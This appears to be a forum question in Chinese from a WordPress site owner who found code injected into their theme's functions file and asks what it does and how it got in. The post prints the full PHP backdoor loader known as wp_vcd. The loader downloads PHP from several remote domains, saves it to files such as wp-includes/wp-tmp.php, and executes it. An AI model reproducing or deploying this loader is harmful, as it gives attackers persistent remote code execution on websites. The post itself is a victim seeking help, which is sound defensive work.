下面的代码被注入到我的wordpress函数主题中。有人能解释一下代码的作用吗？这是怎么做到的？

$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists(\'theme_temp_setup\')) {
    $path = $_SERVER[\'HTTP_HOST\'] . $_SERVER[\'REQUEST_URI\'];
    if (stripos($_SERVER[\'REQUEST_URI\'], \'wp-cron.php\') == false && stripos($_SERVER[\'REQUEST_URI\'], \'xmlrpc.php\') == false) {

        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }

        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
            if( fwrite($handle, "<?php\\n" . $phpCode))
            {
            }
            else
            {
                $tmpfname = tempnam(\'./\', "theme_temp_setup");
                $handle   = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\\n" . $phpCode);
            }
            fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }


        $wp_auth_key=\'7af507a87318d795efbdb0a3a9028aad\';
        if (($tmpcontent = @file_get_contents("http://www.linos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.linos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);

                if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
                    @file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
                    if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
                        @file_put_contents(\'wp-tmp.php\', $tmpcontent);
                    }
                }

            }
        }


    elseif ($tmpcontent = @file_get_contents("http://www.linos.me/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

        if (stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
            @file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);

            if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
                @file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
                if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
                    @file_put_contents(\'wp-tmp.php\', $tmpcontent);
                }
            }

        }
    } elseif ($tmpcontent = @file_get_contents(ABSPATH . \'wp-includes/wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent));

    } elseif ($tmpcontent = @file_get_contents(get_template_directory() . \'/wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent)); 

    } elseif ($tmpcontent = @file_get_contents(\'wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent)); 

    } elseif (($tmpcontent = @file_get_contents("http://www.linos.xyz/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.linos.xyz/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent)); 

    }





}
}